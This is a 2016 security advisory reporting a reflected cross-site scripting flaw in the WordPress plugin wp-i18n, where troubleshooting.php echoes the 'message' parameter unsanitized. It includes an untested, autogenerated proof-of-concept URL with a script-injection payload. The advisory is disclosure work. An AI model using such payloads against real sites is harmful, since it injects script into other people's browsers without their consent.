Advisory #: 290
Title: Reflected XSS in wordpress plugin wp-i18n v2.0.4.2-alpha
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-i18n
Downloads: 2732
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-i18n
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-i18n/menu/troubleshooting.php: 288: <?php echo $_GET['message'];?> The variable message appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-i18n/menu/troubleshooting.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-i18n/menu/troubleshooting.php?message="><script>alert(1);</script><"